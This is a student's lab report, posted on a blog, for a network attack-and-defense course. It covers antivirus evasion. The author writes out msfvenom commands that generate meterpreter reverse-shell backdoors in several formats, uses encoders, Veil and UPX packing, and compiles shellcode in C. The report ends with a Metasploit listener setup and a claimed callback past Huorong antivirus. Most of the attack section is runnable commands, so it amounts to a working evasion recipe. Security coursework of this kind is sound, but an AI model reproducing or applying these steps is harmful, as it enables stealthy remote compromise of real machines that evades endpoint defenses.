20222414 2024-2025-1 《网络与系统攻防技术》实验三实验报告

一、实践内容

本周学习内容:本周学习了第四章恶意代码,主要讲了恶意代码的相关概念、发展历史、简介以及分析技术等。

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
2.veil,加壳工具
3.使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

问题回答:

(1)杀软是如何检测出恶意代码的?
杀毒软件(杀软)检测恶意代码的方式主要有三种,分别是基于特征码的检测、启发式恶意软件检测以及基于行为的恶意软件检测。

(2)免杀是做什么?
免杀技术通过修改病毒、木马的内容来改变其特征码,从而使其能够躲避杀毒软件的查杀。

(3)免杀的基本方法有哪些?
加壳:通过给恶意代码加壳来隐藏其真实入口,使杀毒软件无法找到程序的正常入口文件,从而躲避分析。
ShellCode混淆与加密:对ShellCode进行混淆和加密处理,使其难以被杀毒软件识别和检测。
分离免杀(远程加载):将shellcode和加载器分离,通过远程加载的方式执行恶意代码,从而绕过杀毒软件的检测。
白加黑:利用白名单程序执行恶意样本,使杀毒软件无法将其识别为恶意代码。
套接字免杀:通过修改恶意代码的网络通信方式,使其能够绕过杀毒软件的网络监控。
使用免杀工具:利用现成的免杀工具对恶意代码进行处理,以达到免杀的效果。
自己写加载器和远控:通过编写自己的加载器和远控程序,进一步增加恶意代码的隐蔽性和抗杀性。

二、实验过程

2.1使用msf编码器,使用msfvenom生成如jar之类的其他文件

①输入指令msfvenom --list encoder查看所有的编码器,选一个rank高一点的encoder进行编码。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.75.47 LPORT=2414 -f exe > 20222414backdoor.exe


将该后门程序拖入https://www.virustotal.com进行测试,结果如下:

61/73表示在73款杀毒软件中,有61款判定该程序属于恶意软件,可见,该程序的免杀效果并不好。
尝试多次编码,在msfvenom的option菜单中,我们可以知道其指令为-i [-次数],这里我尝试编20次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -20 LHOST=192.168.75.47 LPORT=2414 -f exe > 20222414backdoor.exe

尝试60次:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -60 LHOST=192.168.75.47 LPORT=2414 -f exe > 20222414backdoor.exe

理论上讲,编码次数多会降低检出率,但实际结果基本无影响。

②此时尝试使用msfvenom生成如jar之类的其他文件:

msfvenom -p java/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.75.47 LPORT=2414 -f jar > 20222414backdoor.jar
生成jar文件并检测:

msfvenom -p php/meterpreter/reverse_tcp -e php/base64 LHOST=192.168.75.47 LPORT=2414 -f raw > 20222414backdoor.php
生成php文件并检测:

可以初步得出如下结论:使用不同编程语言的payload对免杀效果有一定的影响。

2.2下载并使用veil工具

最理想的情况输入这两个命令即可成功下载:
sudo apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

输入veil进入:

下载好之后输入如下指令:
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.75.47
set LPORT 2414
generate

根据提示信息找到生成的可执行文件

放入共享文件夹,让VT检测一下:

发现,免杀概率较之前的某些做法有所提高。

2.3加壳工具

upx加壳:输入upx 20222414backdoor.exe -o backdoor_20222414_ups.exe
前为原文件,后为生成的文件的名字

输入ls查看可执行文件,发现成功生成了backdoor_20222414_ups.exe文件

VirusTotal进行检测:

经测试,效果不降反而增加了,说明这个壳的特征被很广泛的记录了。

2.4使用C + shellcode编程

先生成一段shellcode,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.47 LPORT=2414 -f c

先在编译器中写好代码,再使用vim shellcode_win_2414.c命令生成一个c文件,将代码复制进c文件中:

静态编译防止动态连接丢失,编译执行这个c程序可以得到exe文件,指令如下:i686-w64-mingw32-g++ shellcode_win_2414.c -o shellcode_win_2414.exe -static

将生成的exe文件放入VT中检测一下:

发现较2.1中的查杀概率下降了一些,2.1中查杀概率为61/73。

2.5通过组合应用各种技术实现恶意代码免杀

通过c + shellcode + 异或 + 压缩壳来实现

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.47 LPORT=2414 -f c
先生成一段shellcode,将shellcode做异或操作后放入.c文件中

输入i686-w64-mingw32-g++ shellcode_win2_2414.c -o shellcode_win2_2414.exe进行编译:

输入upx shellcode_win2_2414.exe -o backdoor2_20222414_ups.exe进行加壳:(由于shellcode_win2_2414.c忘记做异或操作了,于是重新生成了一个shellcode_win3_2414.c文件,所以后续截图中为shellcode_win3_2414.exe,backdoor3_20222414_ups.exe)

将文件传到主机,用VirusTotal进行检测:

用杀毒软件自定义检查该文件夹:

2.6用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

输入msfconsole进入控制台,输入命令:

use exploit/multi/handler(设置监听处理器)

set payload windows/meterpreter/reverse_tcp(设置载荷类型)

set LHOST 192.168.1.111(设置为kali的ip地址)

set LPORT 6666(设置端口)

exploit(启动监听服务)

杀软名称与版本:火绒5.0.75.15

问题及解决方案

问题1:刚开始做实验时查看虚拟机IPv4的地址,发现怎么都找不到

解决方案:因为实验室网太差了,虚拟机没连上网。连上自己的热点后,虚拟机成功联网,即可查询出IPv4的地址。

问题2:下载veil时出现了一些问题,比如链接非正常的终止等(我觉得可能是由于网络不稳定)如下图:

解决方案:安装并配置的veil一定要保证网络是连通的!回寝室换了稳定的网络,使用如下两个命令很顺利的下载成功。
sudo apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

问题3:在第一次下载veil不成功后,就直接将虚拟机关机了,当再次打开虚拟机时,发现虚拟机黑屏打不开了。

解决方案:出现该问题的原因是一开始配置虚拟机时只分配了20G,下载veil把内存用完了。
本想尝试给虚拟机扩容,但扩容也需要进入虚拟机内输入一些命令而我的虚拟机根本打不开。索性重新建了一个100G的虚拟机。整个过程较为顺利但浪费了大量时间。

问题4:在2.1步骤时使用不同编程语言的payload,当使用python时直接实现了免杀

有点奇怪。然后去查找了相关资料得知:当使用msfvenom生成Python文件时,可以通过选择不同的编码器和编码次数来对恶意代码进行混淆。编码后的代码在形式上与原始代码有很大差异,从而可能绕过一些杀毒软件的检测。使用MSF编码器生成的Python文件并不总是能直接实现免杀,免杀效果还受到杀毒软件的品牌、版本、更新频率以及目标系统的安全配置等多种因素的影响。

学习感悟、思考

通过本次实验,我学习了如何通过msf编码器、veil、加壳工具、C + shellcode编程等多种方式生成恶意程序,并尝试实现免杀。本次实验让我认识到了免杀技术的多样性,在实验中,我学会了几种常见的免杀技术,如改变恶意软件的特征码、改变其行为模式,以及使用加壳和加密通讯数据等方式。通过这些手段,恶意软件可以在很大程度上绕过安全软件的检测。

本次实验也让我的安全意识有了一定的提升。实验中发现,安全软件并不能100%的提供保护,比如实验最后一步生成的恶意软件就没有被杀毒软件查杀,所以在平常的学习生活中,也要提高网络安全意识。

在实验中也遇到了一些问题,比如veil安装时报错,虚拟机黑屏无法开机,虚拟机内存不够等。通过查阅相关资料,在网上找其他博客中的解决方案,最终也成功解决了这些问题,在此过程中也逐步提高了我解决问题的能力。

参考资料

https://blog.csdn.net/l1028386804/article/details/84895163
https://blog.csdn.net/qq_43592674/article/details/108748041

posted @ 2024-10-28 22:30  赵炳芊  阅读(23)  评论(0编辑  收藏  举报